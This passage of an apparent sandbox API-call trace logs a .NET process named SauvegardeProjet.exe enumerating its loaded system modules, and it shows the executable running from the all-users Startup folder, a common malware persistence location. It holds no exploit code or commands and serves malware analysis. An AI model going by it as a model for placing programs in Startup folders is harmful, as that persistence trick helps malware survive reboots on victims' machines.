returned 0xc [0229.723] CoTaskMemFree (pv=0x6681b48) [0229.723] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.723] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x70ee0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0229.724] CoTaskMemFree (pv=0x6681b48) [0229.724] GetModuleInformation (in: hProcess=0x284, hModule=0x735f0000, lpmodinfo=0x2633660, cb=0xc | out: lpmodinfo=0x2633660*(lpBaseOfDll=0x735f0000, SizeOfImage=0x13000, EntryPoint=0x735f1d3f)) returned 1 [0229.724] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.724] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x735f0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0229.725] CoTaskMemFree (pv=0x6681b48) [0229.725] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.725] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x735f0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0229.726] CoTaskMemFree (pv=0x6681b48) [0229.726] GetModuleInformation (in: hProcess=0x284, hModule=0x75b40000, lpmodinfo=0x263576c, cb=0xc | out: lpmodinfo=0x263576c*(lpBaseOfDll=0x75b40000, SizeOfImage=0x83000, EntryPoint=0x75b423d2)) returned 1 [0229.727] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.727] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75b40000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0229.727] CoTaskMemFree (pv=0x6681b48) [0229.727] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.727] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75b40000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0229.728] CoTaskMemFree (pv=0x6681b48) [0229.728] GetModuleInformation (in: hProcess=0x284, hModule=0x70de0000, lpmodinfo=0x2637878, cb=0xc | out: lpmodinfo=0x2637878*(lpBaseOfDll=0x70de0000, SizeOfImage=0xfb000, EntryPoint=0x70df17e1)) returned 1 [0229.729] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.729] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x70de0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0229.730] CoTaskMemFree (pv=0x6681b48) [0229.730] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.730] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x70de0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0229.730] CoTaskMemFree (pv=0x6681b48) [0229.730] GetModuleInformation (in: hProcess=0x284, hModule=0x77ae0000, lpmodinfo=0x263999c, cb=0xc | out: lpmodinfo=0x263999c*(lpBaseOfDll=0x77ae0000, SizeOfImage=0x5000, EntryPoint=0x77ae1438)) returned 1 [0229.731] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.731] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77ae0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0229.732] CoTaskMemFree (pv=0x6681b48) [0229.732] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.732] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77ae0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0229.733] CoTaskMemFree (pv=0x6681b48) [0229.733] CloseHandle (hObject=0x284) returned 1 [0231.022] GetCurrentProcessId () returned 0x55c [0231.022] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x55c) returned 0x284 [0231.022] EnumProcessModules (in: hProcess=0x284, lphModule=0x25c4884, cb=0x100, lpcbNeeded=0x540b480 | out: lphModule=0x25c4884, lpcbNeeded=0x540b480) returned 1 [0231.023] GetModuleInformation (in: hProcess=0x284, hModule=0xfe0000, lpmodinfo=0x25c49c4, cb=0xc | out: lpmodinfo=0x25c49c4*(lpBaseOfDll=0xfe0000, SizeOfImage=0x9c000, EntryPoint=0x1076c3e)) returned 1 [0231.023] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.023] GetModuleBaseNameW (in: hProcess=0x284, hModule=0xfe0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0231.023] CoTaskMemFree (pv=0x6681b48) [0231.023] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.023] GetModuleFileNameExW (in: hProcess=0x284, hModule=0xfe0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe")) returned 0x51 [0231.023] CoTaskMemFree (pv=0x6681b48) [0231.023] GetModuleInformation (in: hProcess=0x284, hModule=0x77b10000, lpmodinfo=0x25c6b64, cb=0xc | out: lpmodinfo=0x25c6b64*(lpBaseOfDll=0x77b10000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0231.024] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.024] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77b10000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0231.024] CoTaskMemFree (pv=0x6681b48) [0231.024] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.024] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77b10000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0231.024] CoTaskMemFree (pv=0x6681b48) [0231.024] GetModuleInformation (in: hProcess=0x284, hModule=0x736a0000, lpmodinfo=0x25c8c68, cb=0xc | out: lpmodinfo=0x25c8c68*(lpBaseOfDll=0x736a0000, SizeOfImage=0x4a000, EntryPoint=0x736a2e54)) returned 1 [0231.024] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.024] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x736a0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0231.024] CoTaskMemFree (pv=0x6681b48) [0231.024] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.024] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x736a0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0231.024] CoTaskMemFree (pv=0x6681b48) [0231.025] GetModuleInformation (in: hProcess=0x284, hModule=0x77540000, lpmodinfo=0x25cad74, cb=0xc | out: lpmodinfo=0x25cad74*(lpBaseOfDll=0x77540000, SizeOfImage=0x110000, EntryPoint=0x775532d3)) returned 1 [0231.025] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.025] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77540000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0231.025] CoTaskMemFree (pv=0x6681b48) [0231.025] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.025] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77540000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0231.025] CoTaskMemFree (pv=0x6681b48) [0231.025] GetModuleInformation (in: hProcess=0x284, hModule=0x75990000, lpmodinfo=0x25cce88, cb=0xc | out: lpmodinfo=0x25cce88*(lpBaseOfDll=0x75990000, SizeOfImage=0x46000, EntryPoint=0x75997478)) returned 1 [0231.025] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.025] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75990000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0231.026] CoTaskMemFree (pv=0x6681b48) [0231.026] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.026] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75990000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0231.026] CoTaskMemFree (pv=0x6681b48) [0231.026] GetModuleInformation (in: hProcess=0x284, hModule=0x773f0000, lpmodinfo=0x25cefd0, cb=0xc | out: lpmodinfo=0x25cefd0*(lpBaseOfDll=0x773f0000, SizeOfImage=0xa0000, EntryPoint=0x774049e5)) returned 1 [0231.026] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.026] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x773f0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0231.026] CoTaskMemFree (pv=0x6681b48) [0231.026] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.026] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x773f0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0231.026] CoTaskMemFree (pv=0x6681b48) [0231.026] GetModuleInformation (in: hProcess=0x284, hModule=0x77490000, lpmodinfo=0x25d10e4, cb=0xc | out: lpmodinfo=0x25d10e4*(lpBaseOfDll=0x77490000, SizeOfImage=0xac000, EntryPoint=0x7749a472)) returned 1 [0231.027] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.027] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77490000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0231.027] CoTaskMemFree (pv=0x6681b48) [0231.027] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.027] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77490000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0231.027] CoTaskMemFree (pv=0x6681b48) [0231.027] GetModuleInformation (in: hProcess=0x284, hModule=0x75f70000, lpmodinfo=0x25d31f0, cb=0xc | out: lpmodinfo=0x25d31f0*(lpBaseOfDll=0x75f70000, SizeOfImage=0x19000, EntryPoint=0x75f74975)) returned 1 [0231.027] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.027] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75f70000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0231.028] CoTaskMemFree (pv=0x6681b48) [0231.028] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.028] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75f70000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0231.028] CoTaskMemFree (pv=0x6681b48) [0231.028] GetModuleInformation (in: hProcess=0x284, hModule=0x758a0000, lpmodinfo=0x25d52fc, cb=0xc | out: lpmodinfo=0x25d52fc*(lpBaseOfDll=0x758a0000, SizeOfImage=0xf0000, EntryPoint=0x758b0569)) returned 1 [0231.028] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.028] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x758a0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0231.029] CoTaskMemFree (pv=0x6681b48) [0231.029] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.029] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x758a0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0231.029] CoTaskMemFree (pv=0x6681b48) [0231.029] GetModuleInformation (in: hProcess=0x284, hModule=0x75670000, lpmodinfo=0x25d7454, cb=0xc | out: lpmodinfo=0x25d7454*(lpBaseOfDll=0x75670000, SizeOfImage=0x60000, EntryPoint=0x7568a3b3)) returned 1 [0231.029] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.029] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75670000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0231.029] CoTaskMemFree (pv=0x6681b48) [0231.029] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.029] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75670000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0231.030] CoTaskMemFree (pv=0x6681b48) [0231.030] GetModuleInformation (in: hProcess=0x284, hModule=0x75660000, lpmodinfo=0x25d9560, cb=0xc | out: lpmodinfo=0x25d9560*(lpBaseOfDll=0x75660000, SizeOfImage=0xc000, EntryPoint=0x756610e1)) returned 1 [0231.030] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.030] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75660000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0231.030] CoTaskMemFree (pv=0x6681b48) [0231.030] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.030] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75660000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0231.031] CoTaskMemFree (pv=0x6681b48) [0231.031] GetModuleInformation (in: hProcess=0x284, hModule=0x73620000, lpmodinfo=0x25db674, cb=0xc | out: lpmodinfo=0x25db674*(lpBaseOfDll=0x73620000, SizeOfImage=0x78000, EntryPoint=0x7362f7ba)) returned 1 [0231.031] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.031] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73620000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0231.031] CoTaskMemFree (pv=0x6681b48) [0231.031] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.031] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73620000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0231.032] CoTaskMemFree (pv=0x6681b48) [0231.032] GetModuleInformation (in: hProcess=0x284, hModule=0x75db0000, lpmodinfo=0x25dd7bc, cb=0xc | out: lpmodinfo=0x25dd7bc*(lpBaseOfDll=0x75db0000, SizeOfImage=0x57000, EntryPoint=0x75dc9ba6)) returned 1 [0231.032] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.032] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75db0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0231.032] CoTaskMemFree (pv=0x6681b48) [0231.032] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.032] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75db0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0231.033] CoTaskMemFree (pv=0x6681b48) [0231.033] GetModuleInformation (in: hProcess=0x284, hModule=0x75810000, lpmodinfo=0x25df8c8, cb=0xc | out: lpmodinfo=0x25df8c8*(lpBaseOfDll=0x75810000, SizeOfImage=0x90000, EntryPoint=0x75826343)) returned 1 [0231.033] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.033] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75810000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0231.033] CoTaskMemFree (pv=0x6681b48) [0231.033] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.033] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75810000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0231.034] CoTaskMemFree (pv=0x6681b48) [0231.034] GetModuleInformation (in: hProcess=0x284, hModule=0x75e10000, lpmodinfo=0x25e19cc, cb=0xc | out: lpmodinfo=0x25e19cc*(lpBaseOfDll=0x75e10000, SizeOfImage=0x100000, EntryPoint=0x75e2b6ed)) returned 1 [0231.034] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.034] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75e10000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0231.034] CoTaskMemFree (pv=0x6681b48) [0231.034] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.034] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75e10000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0231.035] CoTaskMemFree (pv=0x6681b48) [0231.035] GetModuleInformation (in: hProcess=0x284, hModule=0x772c0000, lpmodinfo=0x25e3ad8, cb=0xc | out: lpmodinfo=0x25e3ad8*(lpBaseOfDll=0x772c0000, SizeOfImage=0xa000, EntryPoint=0x772c36a0)) returned 1 [0231.035] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.035] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x772c0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0231.035] CoTaskMemFree (pv=0x6681b48) [0231.035] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.035] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x772c0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0231.036] CoTaskMemFree (pv=0x6681b48) [0231.036] GetModuleInformation (in: hProcess=0x284, hModule=0x75a30000, lpmodinfo=0x25e5bd4, cb=0xc | out: lpmodinfo=0x25e5bd4*(lpBaseOfDll=0x75a30000, SizeOfImage=0x9d000, EntryPoint=0x75a63fd7)) returned 1 [0231.036] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.036] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75a30000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0231.037] CoTaskMemFree (pv=0x6681b48) [0231.037] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.037] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75a30000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0231.037] CoTaskMemFree (pv=0x6681b48) [0231.037] GetModuleInformation (in: hProcess=0x284, hModule=0x75ae0000, lpmodinfo=0x25e7d64, cb=0xc | out: lpmodinfo=0x25e7d64*(lpBaseOfDll=0x75ae0000, SizeOfImage=0x60000, EntryPoint=0x75af158f)) returned 1 [0231.037] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.037] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75ae0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0231.038] CoTaskMemFree (pv=0x6681b48) [0231.038] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.038] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75ae0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0231.038] CoTaskMemFree (pv=0x6681b48) [0231.038] GetModuleInformation (in: hProcess=0x284, hModule=0x75be0000, lpmodinfo=0x25e9e68, cb=0xc | out: lpmodinfo=0x25e9e68*(lpBaseOfDll=0x75be0000, SizeOfImage=0xcc000, EntryPoint=0x75be168b)) returned 1 [0231.039] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.039] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75be0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0231.039] CoTaskMemFree (pv=0x6681b48) [0231.039] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.039] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75be0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0231.039] CoTaskMemFree (pv=0x6681b48) [0231.039] GetModuleInformation (in: hProcess=0x284, hModule=0x73610000, lpmodinfo=0x25ebf6c, cb=0xc | out: lpmodinfo=0x25ebf6c*(lpBaseOfDll=0x73610000, SizeOfImage=0x9000, EntryPoint=0x73611220)) returned 1 [0231.040] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.040] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73610000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0231.040] CoTaskMemFree (pv=0x6681b48) [0231.040] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.040] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73610000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0231.041] CoTaskMemFree (pv=0x6681b48) [0231.041] GetModuleInformation (in: hProcess=0x284, hModule=0x72f40000, lpmodinfo=0x25ee078, cb=0xc | out: lpmodinfo=0x25ee078*(lpBaseOfDll=0x72f40000, SizeOfImage=0x6a8000, EntryPoint=0x73087040)) returned 1 [0231.041] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.041] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x72f40000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0231.041] CoTaskMemFree (pv=0x6681b48) [0231.041] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.041] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x72f40000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0231.042] CoTaskMemFree (pv=0x6681b48) [0231.042] GetModuleInformation (in: hProcess=0x284, hModule=0x75540000, lpmodinfo=0x25f01a8, cb=0xc | out: lpmodinfo=0x25f01a8*(lpBaseOfDll=0x75540000, SizeOfImage=0xf5000, EntryPoint=0x75594160)) returned 1 [0231.042] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.042] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75540000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0231.043] CoTaskMemFree (pv=0x6681b48) [0231.043] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.043] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75540000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0231.043] CoTaskMemFree (pv=0x6681b48) [0231.043] GetModuleInformation (in: hProcess=0x284, hModule=0x74310000, lpmodinfo=0x25f22dc, cb=0xc | out: lpmodinfo=0x25f22dc*(lpBaseOfDll=0x74310000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0231.044] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.044] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x74310000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0231.044] CoTaskMemFree (pv=0x6681b48) [0231.044] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.044] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x74310000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0231.045] CoTaskMemFree (pv=0x6681b48) [0231.045] GetModuleInformation (in: hProcess=0x284, hModule=0x77060000, lpmodinfo=0x25f4484, cb=0xc | out: lpmodinfo=0x25f4484*(lpBaseOfDll=0x77060000, SizeOfImage=0x15c000, EntryPoint=0x770aba3d)) returned 1 [0231.045] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.045] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77060000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0231.045] CoTaskMemFree (pv=0x6681b48) [0231.046] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.046] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77060000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0231.046] CoTaskMemFree (pv=0x6681b48) [0231.046] GetModuleInformation (in: hProcess=0x284, hModule=0x73e60000, lpmodinfo=0x25f6588, cb=0xc | out: lpmodinfo=0x25f6588*(lpBaseOfDll=0x73e60000, SizeOfImage=0x80000, EntryPoint=0x73e737c9)) returned 1 [0231.047] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.047] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73e60000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0231.047] CoTaskMemFree (pv=0x6681b48) [0231.047] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.047] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73e60000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0231.048] CoTaskMemFree (pv=0x6681b48) [0231.048] GetModuleInformation (in: hProcess=0x284, hModule=0x72590000, lpmodinfo=0x25f8694, cb=0xc | out: lpmodinfo=0x25f8694*(lpBaseOfDll=0x72590000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0231.048] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.048] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x72590000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0231.049] CoTaskMemFree (pv=0x6681b48) [0231.049] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.049] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x72590000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0231.049] CoTaskMemFree (pv=0x6681b48) [0231.049] GetModuleInformation (in: hProcess=0x284, hModule=0x71e70000, lpmodinfo=0x25fa830, cb=0xc | out: lpmodinfo=0x25fa830*(lpBaseOfDll=0x71e70000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0231.050] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 